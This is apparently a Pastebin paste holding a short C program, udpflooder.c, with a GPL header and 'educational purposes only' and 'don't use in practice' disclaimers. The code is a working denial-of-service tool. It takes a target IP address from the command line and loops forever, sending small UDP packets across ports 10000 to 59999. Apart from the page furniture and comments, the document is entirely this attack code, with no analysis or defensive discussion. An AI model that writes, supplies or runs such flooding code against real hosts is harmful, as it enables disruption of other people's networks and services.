Advertisement
Guest User

Untitled

a guest
Feb 23rd, 2016
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.62 KB | None | 0 0
  1. /*
  2.  *   Author           : unh0lys0da
  3.  *   Title            : udpflooder.c
  4.  *   Description      : A simple udpflooder.c
  5.  *                      Please don't use in practice
  6.  *  
  7.  *   Copyright (C) 2016  unh0lys0da
  8.  *
  9.  *   This program is free software: you can redistribute it and/or modify
  10.  *   it under the terms of the GNU General Public License as published by
  11.  *   the Free Software Foundation, either version 3 of the License, or
  12.  *   (at your option) any later version.
  13.  *
  14.  *   This program is distributed in the hope that it will be useful,
  15.  *   but WITHOUT ANY WARRANTY; without even the implied warranty of
  16.  *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  17.  *   GNU General Public License for more details.
  18.  *
  19.  *   You should have received a copy of the GNU General Public License
  20.  *   along with this program.  If not, see <http://www.gnu.org/licenses/>.
  21.  *
  22.  */
  23.  
  24. /*  This program is written for educational purposes only */
  25.  
  26. #include <stdio.h>
  27. #include <arpa/inet.h>
  28. #include <sys/types.h>
  29. #include <sys/socket.h>
  30. #include <unistd.h>
  31. #include <stdlib.h>
  32.  
  33. int main(int argc, char *argv[])
  34. {
  35.     int sck;
  36.  
  37.     sck = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  38.    
  39.     struct sockaddr_in serv;
  40.     size_t slen = sizeof(serv);
  41.  
  42.     serv.sin_family = AF_INET;
  43.     if(inet_aton(argv[1], &serv.sin_addr)==0) {
  44.         printf("fail");
  45.         exit(-1);
  46.     }
  47.  
  48.     int i;
  49.     char l[2] = {'A','\0'};
  50.  
  51.     while(1) {
  52.         for(i=10000;i<60000;i++) {
  53.             serv.sin_port = htons(i);
  54.             sendto(sck, &l, 2, 0, (struct sockaddr *) &serv, slen);
  55.         }
  56.     }
  57. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement